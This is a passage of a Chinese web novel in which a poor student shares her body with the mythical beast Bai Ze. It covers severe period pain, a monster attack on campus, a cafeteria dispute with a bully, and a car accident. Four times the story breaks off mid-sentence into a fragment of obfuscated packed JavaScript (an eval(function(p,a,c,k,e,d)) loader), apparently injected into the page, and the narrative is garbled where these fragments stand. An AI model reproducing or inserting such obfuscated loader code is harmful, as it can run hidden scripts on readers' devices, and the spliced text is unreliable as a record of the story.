安随和直播间的网友说了一声“有事”便下播了。 安随在心里呼唤白泽:“白泽,你出来一下。” 这是她头一次那么郑重地叫白泽名字,白泽还有些不习惯,问她:“怎么了,那么严肃?” 安随:“我不直播了。” 白泽惊了:“为什么?你不想要一个亿了?” 安随声音十分冷静:“再这么下去,我怕把直播间的人都带歪了,到时候他们觉得只要看我直播就能考得好,把所有的希望都寄托在我身上,如果他们没考好,我岂不是成了罪魁祸首?而且,这不就成了宣扬封建迷信吗?我怕被那些家长举报。” 白泽没说话。 安随有些烦躁:“你为什么不说话了?平时话不是挺多的吗?” 白泽:“你想听我说什么?你不是已经做出决定了吗?” 安随:“我是在征求你的意见,如果你不愿意,我们可以商量。” 白泽:“你给我商量的空间了吗?继续直播会被封号,那你想过不直播能干什么?你一个普通大学生,一年内怎么能赚到一个亿?” 安随:“那就不要一个亿了呗,我当初只是口嗨而已,又没有一定要赚那么多。” “原来,这才是你的真实想法啊。”白泽笑了一下,声音带着凉意,“所以,你只是把这个契约当成儿戏,并没有当真。” 安随顿时就熄了火:“我,我没有这个意思。” 良久,白泽才说道:“你既然不愿意,那本君也不勉强你,从今天起,你想做什么便做什么,本君不会干涉你,契约也会想办法解掉。” 他开始自称本君,又恢复成了那个高高在上的神。 安随心里变得空落落的,就像被人徒手从胸腔里撕开了个口子,风呼呼地往里灌着,凉意直达心底。 她想说点什么,却发现此刻说什么也变得徒劳,最后徒留下一句,“好。” 安随下播没多久,蒋栗和宋知冉二人就回来了,见安随脸色有些不好,有些担心:“安安,你怎么突然下播了?是哪里不舒服吗?” 安随勉强回了她们一个笑容:“确实有点不舒服,睡一觉就好了。” “那你早点睡吧。” “好。” 见安随睡下,宋知冉将蒋栗拉到阳台,轻声说道:“安安是不是痛经啊?她平常就身体不好,有几次还痛吐了。” “痛吐了吗?那么严重?”蒋栗都惊了,随后有些懊恼,她以前怎么就没发现呢? “我的红糖喝完了,我出去买点,你在这看着她,有什么给我打电话。”宋知冉说完便出去了。 蒋栗留在宿舍洗漱,不时瞟向安随床所在的方向。 躺在床上的安随隐隐感觉到小腹传来一阵痛意,随后一股热流缓缓从下身流出。 向来月经不调一向只推迟的安随意识到,她的月经提前了,而且比以往痛了几倍。 安随挣扎着下床,想要去厕所处理,却发现自己头重脚轻,眼前出现了好几个重影。眼见着要摔下去,她眼疾手快地扶住了床栏,随后靠在床边喘着粗气。 怎么回事?为什么她感觉这次比以往严重了好多? 缓了一会儿后,她才又重新准备下床,但腿软得跟面条一样,站在梯子上竟然止不住地抖,走一步都变得异常艰难。 好在这时蒋栗发现了她的异常,连忙过来扶住她。 “安安,你下床做什么?好好在床上休息啊。” 安随说话的力气都快没了,但还是慢慢开口:“我大姨妈来了,要去厕所。” “那我背你去。”蒋栗说着便背过身去,示意安随趴在她身上。 安随看了一会儿蒋栗纤细柔软的后背,眼睛胀得生疼,鼻腔里不停地往外冒着酸意。缓了会儿,她才趴了上去,感受着来自室友后背的温暖。 安随很瘦,长期的营养不良让她看着个子纤细,只比麻杆好一点儿,但一米六五的个子压在蒋栗背上,还是让她感受到了一丝吃力。好在安随的床到卫生间只有几步路的距离,蒋栗挪过去也没费多大力。 将安随送进卫生间后,蒋栗便出来了,给宋知冉打电话:“冉冉,你买到红糖了吗?安安痛经好像有点严重,去厕所都是我背着她去的。” “那么严重吗?”宋知冉沉吟了会儿,随后道,“那我再给她买点布洛芬,你在宿舍照顾好她。” “好。” 晚上九点,宋知冉从药店出来,路上冷冷清清的,冷风从衣领灌了进来,冷得她打了个寒颤。她将衣领拢了拢,随后快速往宿舍的方向走去。 突然,一个身影从面前闪过,钻入旁边的草丛里,吓得宋知冉顿住脚步,还以为自己眼花了。在原地等待了会儿没再看到异样,她才继续往前走,然而,突如其来的眩晕却让她整个人像丢了魂一般,随后整个人瘫软在地。 宋知冉再次醒来,发现自己靠坐在墙角,身上披着一件黑色的外套,上面已经沾满了凉意。 这件陌生的外套看得出是件男士外套,想来是被一位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋知冉是用手洗的,无意中却发现衣服上绣着一个熟悉的花纹,她想了会儿才想起来这花纹有点像之前捡到的那块令牌。 宋知冉连忙找出令牌进行比对。这一对比竟然发现两个花纹竟然一模一样。 想到蒋栗刚才说的那番话,宋知冉内心的喜悦便怎么也藏不住。 所以,又是他救了她吗?缘分真是一件奇妙的事情。 宋知冉不自觉地哼起了歌,嘴角止不住地上扬。突然想到安随已经睡了,连忙噤了声。她又偷偷看了眼戴着耳机听歌的蒋栗,见她没有发现她的异样,这才放下心来。 下次,她一定要看清他的脸,看看他到底是谁。 安随吃了颗布洛芬,总算缓解了痛意。她的体质一向很差,每次来大姨妈都会上吐下泻,反应比一般人严重。但这次却像从鬼门关走了一遭,命都去了半条。好在有她的两位室友,不至于倒下去。 安随在脑海里想了想今天发生的事情,除了和白泽吵了一架,其他好像没什么特殊的事了。 对了,白泽。 不会这就是签订灵魂契约的副作用吧? 安随越想越有可能,本来想叫白泽出来问问,一想到两人算是闹崩了,便歇了这个心思。 睡一觉就好了。 安随如是想着。 然而安随想得太美好了。 半夜,安随被腹部传来的剧痛痛醒了。 9. 第 9 章 安随是初中的时候第一次来月经,那会儿懵懵懂懂不知道这是什么,家里也没人跟她说,鲜红色浸染了整条裤子,好在宿舍的同学比她都大,看见她的窘迫,便借了一包卫生巾给她,还教她怎么用。 而这也给她打开来新世界的大门,她才知道,原来女生都会经历这些。随之而来的便是痛经,她以为每个女生都会经历,直到无意中和别人聊天的时候,才知道,原来是自己体质弱,所以才容易痛。 每次痛经仿佛上刑,恨不得在地上打几个滚,但连那都成为奢望,因为她会痛得动都不想动。 安随是被痛醒的,她的额头已经布满了密密麻麻的汗,小腹传来一阵阵的剧痛,仿佛有个锤子不停地击打着腹部。她将整个身体蜷缩在一起,牙齿轻咬下唇,不让自己发出声音。 然而疼痛却怎么也压不住了。 她的腿下意识地往前蹬了蹬,想要缓解疼痛,却不小心踢到床沿,发出一阵沉闷的响声。 还未睡熟的宋知冉听到响声,连忙起身问道:“安安,你怎么了?” 然而安随已经无法回答她了。 此刻她痛得几乎要哭了出来,但硬生生忍住了。 可无意中泄露的呻吟还是让宋知冉意识到了不对劲,下床过来查看她的状况。 宋知冉手机电筒打开,爬上安随的床,便发现她汗水已经将头发打湿,此刻正全部贴在脑袋上,整个人像是从水里捞出来的一般。脸色潮红,像熟透了点苹果,身体也止不住地抖。 “安安?安安!”宋知冉不停呼喊着她的名字,却怎么也听不到回答。 “栗栗!”宋知冉很快下床去喊蒋栗起来。 蒋栗睡眼朦胧地揉着眼睛,过了会儿才清醒过来,看到安随的状况,瞌睡虫顿时被赶跑了,也急忙下床过来帮忙。 两人合力将安随抱下床,宋知冉个子比安随高一点,加上有蒋栗扶着,将安随背在背上不算吃力,两人出了宿舍便往宿舍楼外走。 边走蒋栗便给宿管打电话,好在对方得知安随的状况,很快放了行,两人一路畅通无阻地往校医院赶去。 但校医院离宿舍楼有一段距离,平时轻装步行都要十来分钟,更别说此刻还背着一个大活人,两人走了一段距离便停了下来,换成蒋栗背。蒋栗个子小,背起比她高大的安随可想而知有多吃力,走了几步便走不动了,又换回了宋知冉。 半夜,校园路静悄悄的,耳边只能听到彼此的呼吸声。 “呼呼——” 一阵粗喘声在宋知冉耳边响起。那声音离她很近,几乎近在咫尺。起初她还以为是安随发出的声音,却见安随整个人趴在她身上,两只手被她拽着,整个人没有一点动静,明显不是她发出的声音。 她又问蒋栗,“栗栗,你怎么了,怎么喘那么粗的气? “啊?我没有啊。”蒋栗都懵了,听到宋知冉的话,也认真听了会儿,果然听到有呼呼的喘息声。 两人越走越心惊,也越来越快,但背上背着一个人,再快也快不了哪去。 突然,一个巨大的黑影笼罩在两人眼前,将三人的影子都罩住了。 宋知冉顿住脚步,看着面前突然出现的巨大黑影,肾上腺素开始飙升,整个人处于极度紧张状态。她双手紧紧握住安随的手,身体微微往前站,将蒋栗挡在身后。 随着那黑影转过身来,两人这才看清了那影子的模样。 那张脸长满了脓包,有的已经绽开了皮,往外翻着,有的已经开始流出白色的脓液,从下巴往下滴着。 蒋栗在看清怪物大长相以后,尖叫一声,随后整个人晕倒在地。宋知冉下意识地去扶蒋栗软倒下去的身体,背上的安随由于失去了支撑,也从她身上滑落下来,摔倒在地。 宋知冉眼疾手快地去扶,而蒋栗的身体便顺势倒了下去。 于是,现在就变成了这样一副状况。 两个晕倒在地的室友,加上一个十分害怕却又死扛着不让自己倒下的宋知冉。 “你,你是谁?”宋知冉壮着胆子问。 那怪物桀桀笑了两声,随后巨大的身影便朝宋知冉移动过来。 那怪物速度极快,宋知冉根本没有反应的时间,等她回过神来时,整个人已经双脚离地,脖子被对方掐住,呼吸也变得急促。 空气越来越稀薄,宋知冉使出浑身的力气去扳对方的手掌,然而那只手却如钳子一般死死地钳住她。 第一次,宋知冉感觉自己离死神是如此地近。 她开始目光涣散,眼前的景象也变得模糊。朦胧中似乎听到一声巨响,随后整个人被甩了出去,但想象中的剧痛并没有传来,而是被人轻轻放下。 是谁救了她? 会是他吗? 她努力想要睁开眼,想要看清那人的模样,却怎么也睁不开。 她好困好困,好想睡觉。 很快,她便听到一个声音说。 “找死。” 这一次,她听清了,那是安随的声音。 完了。 这是宋知冉唯一的想法。 她本以为牺牲她一个人能让那怪物放过她的两个室友,如今安随醒来,怕是和她一样要栽在这里了。 她很快便清醒了。 “安安快跑!”宋知冉几乎使出了全身的力气爬起来将安随往后推,整个人挡在安随前面,眼神凶狠,“不许伤害她!” 但她很快意识到了不对劲,之前扼住她喉咙的庞然大物不知何时竟倒在了她面前一动不动,生死不知。 “这是怎么回事?”宋知冉懵了。 安随就这么轻松地把对方打倒了吗? 宋知冉向安随投去怀疑的目光。 却见此时的安随捂着肚子,嘴里不停地抱怨:“搞什么,肚子怎么那么痛,吃错东西了吗?” 宋知冉呆呆地看着她,过了会儿才慢吞吞道:“你应该是痛经,你不知道吗?” “痛经?”安随想了会儿才明白是怎么回事,随后示意宋知冉赶紧去医院,“赶紧去买药,我受不了了。” “你刚吃完布洛芬没多久,现在不能吃止痛药,只能去医院让医生看看。” “好好好,那就去医院。”说着,安随便健步如飞地往前走,一点都看不出来之前的虚弱。 “这怪物怎么办?”宋知冉问道。 安随闻言便又倒了回来,蹲下身在那怪物的头上按了按, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但这已经是他遇到的第二只妖怪了。 到底发生了什么,为什么会有那么多妖出现在这里? 他有一种直觉,这并不是唯二出现在人界的妖怪。 或许,已经有很多了。 这个认知让白泽隐隐有些担忧。 但他并不会向眼前的女生透露半点。 对方是安随的室友,又好心把她送到医院,他并不想让对方担心。 到了医院以后,两人去了急诊,给三人都检查了下身体。蒋栗没什么大碍,睡一觉就能醒,宋知冉脖子上有淤青,医生开了活血化瘀的药,安随痛经,在得知她有止痛药后,便让她回去煮点红糖姜水,贴暖宝宝,注意保暖之类的便让她们回去了。 宋知冉有些不放心,问道:“医生,需不需要输液啊?她刚才痛得都走不了路,晕倒了。” 医生指了指安随:“你看她这样像痛得走不动路的样子吗?” 宋知冉循着方向望去,便见安随在原地踱步,不时跺脚。 好吧,好像确实缓过来了。 宋知冉这才放下心来,坐在走廊的长椅上,等待蒋栗醒来。 而想用踱步来缓解疼痛的白泽发现了一个尴尬的问题。 在他的不懈努力之下,他感觉他整个人都快湿透了。 10. 第 10 章 也没人告诉他来月经会是这种感受啊! 白泽作为一只神兽,压根就没有体验过这种感觉,但他好歹在人界耳濡目染了一段时间,也大概听说一些,但并不代表他就能知道具体是什么感受。 因此,当白泽感觉到自己身下已经完全打湿了以后,便想赶紧离开这里,回宿舍去。 但蒋栗还没有醒,白泽也管不了那么多了,背起蒋栗就快速往回跑,根本顾不了在身后不停喊她的宋知冉。 宋知冉在后面不停追赶,边跑边喊:“安安你等等我,别跑快了!” 白泽压根听不见,或者说他并不想听,此刻他心里只有一个念头,那就是回宿舍换个卫生巾。 难为白泽作为一只兽,却要体验一个作为女人的感觉。在妖界女妖不会来月经,更别说男妖了,平时受点伤流点血并不算什么,早已习以为常,但和人类来月经的感觉还是不一样的。 痛经起来是真要兽命啊。 此刻,白泽便再次体会到了那种腹部往下坠,似乎有什么东西想要坠出来的感觉。 他慢慢放缓脚步,加上背上还背着个人,气息也变得不稳,每走一步肚子便像被人捶打一般,钝痛不已。 宋知冉总算追上他了,喘了会儿才开口道:“安安你痛经别跑那么快,不然会更痛。” 谢谢,已经体验过了。 白泽嘀咕了声:“早说啊。” 三人就这么走几步歇几步地往前走,等回到宿舍已经是两点多了。 回到宿舍的白泽仿佛又满血复活了,快速跑到厕所,想起什么又折返回来,问宋知冉:“那个,你帮我拿个那个可以吗?” 宋知冉秒懂,从安随放卫生巾的地方拿了一个超长夜用递给她:“给你。” 白泽一脸尴尬地接过,感觉自己耳朵也变得有些热。他迅速进了厕所,然后看着手中的卫生巾犯难了。 研究了会儿他才打开,蹲着感受下面哗啦啦地往外流血,他别过头去,一眼都没敢看,快速换好卫生巾便出了厕所。 躺在床上的白泽此刻只有一个念头,希望明早醒来的是安随,他还可以继续睡下去。 然而愿望很美好,现实很骨感。 清晨第一缕阳光照进来,瞌睡虫也被阳光赶跑。白泽从光亮中醒来,看到熟悉的天花板,感觉天都塌了。 他试图在心底呼唤安随,但没有得到任何回复。 到底发生了什么事?为什么安随不醒?反而主宰她身体的是他? 也就是说,他还要继续忍受这种尴尬。女人月经周期正常是3-7天,他难道至少还要保持这种状态两天吗?一想到这个结果,白泽便感觉自己的兽生也变得灰暗。 好想回妖界啊…… 白泽感叹了会儿,便认命地起了床。 想到今天他还要替她上课,他便觉得灰暗的兽生也变黑了。 上午第一节课是英语。英语老师是名外教,全程用英语交流,白泽坐在最后一排,目光呆滞地望着老师。 旁边的蒋栗见白泽一脸认真地看着老师,不得不佩服安随的毅力。昨天痛得挂急诊,今天还能那么高效地听课。想到自己昨天在送安随的路上居然睡着了,顿时觉得自己菜得抠脚。 蒋栗偏头小声问道:“安安,你今天肚子还痛吗?要不要休息一天啊?” 已经入定的白泽压根没听见她说什么,此刻他眼里只有讲台上的外教。 管他能不能听懂,至少此刻他是专注认真的,不会丢安随的脸。 “Ann,canyouanswerthisquestion?” 台上的外教面带微笑地看着听得十分专注的安随,亲切地提了问题。 白泽压根没听见,还是旁边的宋知冉碰了一下他,把他碰回神了。 “怎么了?”白泽问。 宋知冉小声道:“老师叫你回到问题。” “什么问题?” “Ann,canyouanswerthisquestion?”外教又重复了一遍。 白泽压根没听到她的问题,一旁的宋知冉在笔记本上写下答案,白泽看着那弯来弯去的符号,头都大了。 他哪里会读? 见白泽没有回应,外教脸上的笑容消失了,一旁的宋知冉连忙举手:“老师,安随她不舒服,我来回答吧。” 宋知冉说完便用流利的英语回答了问题,外教脸色这才好看了点。 课间休息时间,宋知冉见白泽有点反常,还以为他是被痛经困扰,便提议道:“安安,你要不回去休息一下吧,跟老师请个假,我看你脸色不好。” 白泽确实有点不舒服,但他并不想因为这个请假,他可不想因为他打破了她的全勤。 要是安随醒来知道自己缺了课,恐怕捏死他的心都有。 “没事,我还能坚持。”白泽回道。 宋知冉见他坚持,也不再劝说,再次感叹安随学习的精气神,更加佩服她。 于是接下来一天的课程,白泽都是在字都认识,但连起来都不懂的状态中度过。好在他会装作一副认真听讲的样子,倒也蒙混过关了。 听课几乎耗费了他所有的精力,连午饭也吃得不香。好不容易熬到下课,白泽这才去食堂给自己打了一份20元的套餐犒劳自己。 血槽已空,急需吃肉补充。 白泽风卷残云般吃完了一个套餐,感觉还未尽兴,便又点了一个不同的20元套餐,看得一旁的蒋栗二人都惊呆了。 她们怎么不知道,来次大姨妈还耗掉那么多能量啊,看把安安饿得。 两人眼里满是心疼,默契地把鸡腿放在了白泽的餐盘里。白泽毫不客气地吃掉了。 “嗝——” 白泽终于心满意足地吃饱了,血条迅速回满。 他抬起头,便见安随的两位室友目瞪口呆地看着他。 白泽有些心虚,看到自己面前两个空的餐盘,惊觉自己好像确实吃得有点多。 糟了,这不符合安随的人设啊,不会被人怀疑换了芯吧? 白泽心里惴惴不安,但坐着没动。 敌不动我不动,看谁熬到最后。 蒋栗第一个沉不住气,眼带泪花,哭唧唧道:“呜呜呜呜,安安你这是饿了多久啊。一次吃那么多别撑坏了啊,妈呀心疼死我了,你以前过的都是什么日子啊?” 白泽心底的警报解除,看来她们并没有发现异常,很好,人设保住了。 白泽露出一个虚弱的笑:“可能能量损耗太多了,所以便忍不住多吃了点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋知冉见状,连忙帮她清理头上的饭菜。在她忙着清理时,便觉得眼前一花,一个人影已经冲到了两人面前,将男生面前的餐盘扣在了那女生头上。 “啊!”女生尖叫一声,不停地跺脚,一旁的男生也帮着她清理。 场面顿时变得混乱不堪,周围聚集了越来越多的学生,不一会儿便有老师赶过来,脸色铁青:“怎么回事?” 苏芸先发制人:“老师,是蒋栗不满岳初和我谈恋爱,怀恨在心,先动手伤人,我是自卫,结果这个女生也掺和进来,对我们进行打击报复。老师,你一定要严惩啊,恋爱分手不是很正常的事情吗?我和岳初是在两人分手以后在一起的,她凭什么跑过来报复我的男朋友?” 蒋栗见对方黑白颠倒,什么话都被她说了,顿时急得直哭。 老师已经大概了解了目前的状况,批评教育了几句,并让蒋栗给岳初道歉。 蒋栗哪里受得了这个气?凭什么要她向他道歉?明明就是他在他们恋爱期间劈腿苏芸,她只是想报复一下他,到最后还成了她的错了? 见蒋栗梗着脖子一句话也不说,老师也没有了耐心:“你既然不愿意道歉,那就去把你父母叫过来,让他们替你道歉。” 蒋栗一听要叫家长,顿时急了;“老师,不要,是我……” “是我动的手。”一个声音打断了蒋栗。 11. 第 11 章 蒋栗望过去,便见安随一脸淡然地看着老师。 “是我动手伤了这位同学,和蒋栗无关。”白泽说着,目光望向一旁的苏芸,“这位同学,对不起,我不该动手伤人。” 苏芸头上还顶着一根菜叶子,汤汁顺着她的额头流下来,弄花了她精心画的妆容,沿着下巴一路往下流,弄脏了她新买的裙子。 从小要风得风要雨得雨的苏芸何时受过这种气,她指着白泽的鼻子骂:“道歉有用的话要警察做什么?我这条裙子六位数,你赔得起吗?” “什么破裙子要六位数?”蒋栗在一旁小声嘀咕,但六位数对她来说也是个天文数字,让她赔也赔不起。 但此事因她而起,她不想安随为她被人讹上,便站出来道歉:“对不起,是我的错,我不该先动手,这条裙子我洗干净了还给你吧。” “洗?你洗得干净吗?这上面全是油污,洗干净我也不会穿了,我嫌脏。”苏芸一脸嫌恶地看着身上的裙子,不耐烦已经写在了脸上,“看你们也不像能赔得起的样子,我也懒得在这浪费时间了,我只要……”她指了指安随,“你跪下来给我磕三个头,这事便过去了,我也不会让你们赔裙子了。” “欺人太甚!”蒋栗气得不行,恨恨地瞪着眼前趾高气扬的苏芸,却又无可奈何。 蒋栗咬了咬牙,心一横,腿便要屈下去,眼见着便要跪下去,却被一只手稳稳地抬住了。 她抬眼,便见安随眼里无波无澜,似没有波动,又似什么都不在意。 只听安随开口:“你的裙子,干净得很,没有一点污渍,说谎可是会倒霉的。” “什么?”苏芸还以为自己听错了。 这哪里是道歉的样子?简直睁眼说瞎话,还嚣张至极。什么说谎会倒霉,这不是咒她吗? 苏芸气得也顾不得在公共场合,翻开自己的衣领展示在众人面前:“睁大你的狗眼看看,这明明沾满了油,怎么干净了?不想磕头那就赔我裙子,我这条裙子十五万买的,你要是能赔我十五万我也能接受。” 苏芸说完,却见周围的人都神色奇怪地看着她,她有些愣了,这是怎么了? 一旁的岳初拉了拉她的袖子,小声道:“要不算了吧?你的裙子也没弄脏,她们也已经道歉了。” 苏芸一把甩开他的手,指着他的鼻子破口大骂:“我怎么找了你这么个窝囊废?关键时刻总掉链子!你是不是还没忘记蒋栗那个女人?要不要我成全你们?” 岳初被骂得面红耳赤,恨不得找个地缝钻进去。 听到苏芸将她和那个渣男联系在一起,蒋栗像吞了苍蝇一样,胃里翻江倒海,差点就没忍住吐出来。 一旁的老师看不下去了:“苏芸同学,既然对方已经道歉了,就没必要纠缠着不放了,何况你的裙子并没有遭受什么损失。” “老师,怎么你也?”苏芸愣在原地,不知道为什么一瞬间风向逆转,所有人都向着对方说话,难道对方比她来头更大? 她上下打量了一下安随,但见她穿着一件白衬衣,下身是一条洗得发白的牛仔裤,白鞋的颜色也淡去,看着有些年头了,全身行头加起来还不到两百块,还不够她一顿饭钱。 个子虽然有一米六几,但瘦得跟麻杆似的,没有一点肉,恐怕家里都穷得揭不开锅了,上个大学多半也是家里砸锅卖铁供出来的。 就这,还能大有来头? 苏芸不信,但看场上的局势对她不利,再纠缠下去也讨不了好,反而会给老师同学留下不好的印象,索性顺着台阶下去。 留得青山在,不怕没柴烧。早晚她会找回场子,给她们一个教训,让她们知道,谁才是这里的女王。 想通了这点,苏芸轻咳一声:“既然你道歉了。那我就大人不记小人过,原谅你这一回,如果再有下次,我决不轻饶。” 放下狠话后,苏芸恨恨离去。 岳初见状,便也跟了上去。 其他围观的同学见没热闹可看,也纷纷散去,临走时,不时有好心同学提醒三人要小心苏芸,据说她家里有权有势,本人也骄纵不已,小心被她报复。 三人谢过他们的提醒后,便开始收拾餐桌。 “渣男恶女!”蒋栗边收拾便愤愤不平,心里是又气又憋闷。 “好了好了,别因为一些无关紧要的人生气。”宋知冉安慰她,见她情绪缓了过来,才去问安随,“安安,你没事吧?” 白泽摇了摇头,示意她别担心。 这种小场面,他还没放在眼里。他从饭桌上抽了张纸巾,擦掉桌上和手上不小心粘上的油渍,端起餐盘才对两人说道:“我们回去吧。” 三人正要走时,却被老师叫住了。 罗易神色担忧地看着三人:“苏芸这个人,报复心极强,你们小心点。” 白泽回过头看着打量他,只见他一米八几的个子,长得宽肩窄腰,寸头,皮肤黝黑,眼角上方一道刀疤十分明显,看着并不好相与,身上的凌厉气息很浓,看得出来是个练家子。 但在白泽眼里,接下来他会有一场意外发生。 “你也小心点。”白泽留下一句忠告后便和两位二人离开了。 只留下风中凌乱的罗易。 他需要小心什么? 于是,回保卫处的路上罗易一直在想这个问题,一直走到办公室门口他都没想明白。他叹了口气,觉得自己太容易纠结了,这个毛病得改。 罗易想通以后便释然了,心情也跟着放松许多。刚准备进办公室,却忘了门槛的高度,脚踢在门槛上,整个人顿时往前倒下,幸好他眼疾手快地拽住门,才不至于四仰八叉地摔倒在地。 保卫处的其他工作人员听到动静,纷纷看过来。罗易尴尬地笑了笑,随后拍了拍衣服上毫不存在的灰尘,这才快步走到座位上坐好。 原来是让他小心这个吗? 罗易想到白泽之前说的话,哭笑不得。 也不知道是巧合,还是该夸她我乌鸦嘴。自己真心实意地让她小心苏芸,对方却以为他在开玩笑,回了同样的话。 罗易突然不知道该说点什么好。 这丫头,有点意思。 不畏强权,不卑不亢,虽然表面上看着有些落魄,但身上的那股气势是怎么也掩饰不住的。他有预感,她早晚会成为人中龙凤。 甚至他意识到,今天没有他的出现,她照样能轻松解决此事。 苏芸在她眼里,根本就够不成威胁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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巷子外百米处是一条双向八车道,车辆熙熙攘攘,上下班高峰期的时候,这里被堵得水泄不通。而此时,已经过了下班高峰期,却依然堵得一眼望不到头。 红灯处,不少车辆在那等候绿灯通行,绿灯时间还早,行人慢悠悠地过着马路,成群结队,不下于二十个。 这个人行道非常长,跨越了两条马路,因此时间也格外长。 突然,等在最前排的轿车开始失去控制往前滑动,一位坐着轮椅的老人正缓步通行,根本没有意识到危险降临。 眼见着就要撞到轮椅,老人却突然感觉到自己轮椅几乎飞了起来。 老人感受到力道冲击,回过头来一看,惊恐地发现一辆小轿车近在咫尺,而他前面突然出现了一个女生,正推着他的轮椅快速移动。 一秒过后,人行道上的信号灯变红。 而两人离马路对面还有一半的距离。 好在其他车辆都在等他们通过,女生加快步伐,将老人送往对岸,眼见着就要成功了,一股强大的力量却突然朝两人袭来。 “砰——” 白泽感觉自己整个人都被撞飞了,推着轮椅的手也被震开,老人从轮椅上摔倒下来,躺在地上爬不起来。 而在白泽从空中落下来的瞬间,他几乎用尽了所有的信仰之力,才不至于让两人受伤太过严重。 而他也在耗尽信仰之力后,体力不支,晕倒在地。 昏迷前,他脑海里只有一个想法,这么多天的努力全白费了,他又得从头再来。 12. 第 12 章 纯白的病房内,充斥着消毒水的刺鼻味道,四人间的房间不大,但却住满了病人。 这里是锦城人民医院的神经外科住院部,昨晚出车祸送到医院的两名病患都被送到了这里。 据在现场的热心市民说,当时那车拐弯的速度特别快,直冲冲地就朝两人冲来,根本没有反应的时间,离得近的市民看到两人被撞飞了又摔了下来,都以为两人凶多吉少了。 结果两人受伤并不是很严重,老人旧伤加重,脊髓水肿加脑震荡综合征复发,年轻女孩轻度脑损伤加浑身软组织挫伤,车祸昏迷了半个来小时,醒来后又配合做了一系列检查,等到回到病房已经半夜了,这会儿正熟睡着。 只可惜的是,肇事司机逃了,连个人影都没看到。 “护士,32号没有液体了,来帮忙换一下!” “幺儿,你乖乖躺倒,妈妈去给你倒水。” “爷爷,您感觉怎么样?头还疼吗?” …… 安随就是在这样嘈杂的环境中醒来的。 头一顿一顿地痛,似被人拿锤子敲打。她缓缓睁开眼,便看到的是纯白的天花板,鼻腔里充斥着刺鼻的消毒水味。 她的床边正坐着三个女生,其中两个是宋知冉和蒋栗二人,还有一个短发女生,穿着一身黑色休闲装,整个人看着酷酷的,表情也淡淡的,有些眼熟,安随想了一会儿才想起来是她的另外一个室友孟与。 “你们……”安随心里疑惑,为什么她们都在这里?而自己为什么又会躺在医院里?到底发生了什么? “我们半夜一接到学校老师的电话就赶过来了,一会儿他们应该也会来医院看你。到底怎么回事?为什么你会出车祸啊?”蒋栗噼里啪啦地问了一堆,被宋知冉止住了话头,“安安刚醒,你让她好好休息一下嘛,别问那么多了。” 蒋栗“哦”了一声,便也没再问了。 而得知自己出车祸的安随脑子更懵了。 为什么她对自己出车祸这件事一点印象都没有?难道出车祸把脑子撞坏了? 安随拍了拍脑袋,蒋栗却以为她是真想不起来了,连忙制止:“别拍,再拍更坏了,想不起来就别想了。” 安随只得作罢。 她在心里呼唤白泽:“白泽,你知道怎么回事吗?” 只可惜并没有得到任何回复。 想起之前两人的不欢而散,这会儿说不定白泽已经走了。安随心里有些失落,暂时接受了自己因车祸失忆这件事。 “嗡嗡嗡——” 放在桌上的手机开始震动,安随从宋知冉手中接过,看到是妈妈打过来的电话,有些心虚,轻咳了下嗓子,让自己声音听起来自然许多,这才接了起来:“喂,妈。” “小随你醒啦!”赵素兰声音听起来有些激动,甚至哽咽,过了会儿才整理好情绪道,“我已经坐上高铁过来了,大概中午就能到,你室友已经把病房号发给我了,我是跟你姨妈一起过来的,你不用担心我。” “好,那你照顾好自己,慢点走,不要急。” 两人又寒暄了几句,便挂了电话。 这时旁边的一中年男子走了过来,对安随说道:“安同学,谢谢你救了我父亲,今天幸好有你在,不然后果不堪设想。” “小同学,谢谢你救了我。”躺在床上的老人也出言感谢。 安随对发生的事情一无所知,被他夸得有些不好意思,连忙摆手:“我不记得发生了什么,也不记得自己做过什么,老爷子没事就好。” 几人听到安随不记得发生的事情,连忙又呼唤医生过来,医生听到她的症状后便解释道:“这是正常的,先观察几天再看。” 几人这才放心下来,正好点滴还要打很久,几人便坐着开始闲聊。 老人精神抖擞地跟几人讲当时的场景,讲得十分生动,把安随夸上了天。 安随都被他夸得有些不好意思,甚至在心里问自己,我难道真的有那么热心肠吗? 安随开始在脑子里快速地分析。 首先从书店回来,到学校不会经过那条马路,她下班回来都已经很晚了,肯定是想着怎么早点回去,毕竟大晚上独自一人回去还是有点不放心,越早到学校越好。 其次,如果真有什么事必须经过那条街,也只会是因为那里有必须去做的事情,她和老人素不相识,她不认为自己去的目的就是为了救老人。 最后,挣扎在温饱线上的安随每天满脑子想的都是怎么填饱肚子,怎么赚更多的钱治好妈妈的腿,怎么让自己一家人摆脱困境,根本没有多余的时间想着怎么见义勇为。 综上所述,那个人不会是她,而是住在她身体里的白泽。 他还没离开。 这个认知让她松了一口气,又很快沉下心来。 他为什么不回应她? 到底发生了什么事? 接下来的安随便显得有些心不在焉,几人以为她乏了,便也不再打扰,而是让她好好休息。 临近中午的时候,赵素兰和赵素心两姐妹终于到了医院。 赵素兰推着轮椅,轮椅两边还挂着袋子,背上也背着个帆布包,帆布包鼓鼓的,看着就装了不少东西。 在见到安随后,赵素兰快速滑动轮椅到安随的病床前,看到安随瘦了一圈的脸后,眼泪在眼眶里打转,终究是忍住没落下来。 安随打点滴打乏了便躺着睡了会儿,但睡得很浅,听到动静便醒了,睁眼看见母亲近在咫尺,没想到母亲那么快就到了医院,竟觉得不真实,好一会儿才开口唤道:“妈。” “瘦了。”赵素兰给她整理着耳发,摸了摸瘪下去的脸蛋,叹了声气。 安随望着母亲憔悴的面庞,也回了一句:“您也瘦了。” 母子俩相视一眼,眼里有千言万语想要诉说,但碍于现在的场合不合适,生生忍住了。 “阿姨好。”宿舍三人齐声喊道。眼里虽然惊讶赵素兰的状况,却并没有表现出来。 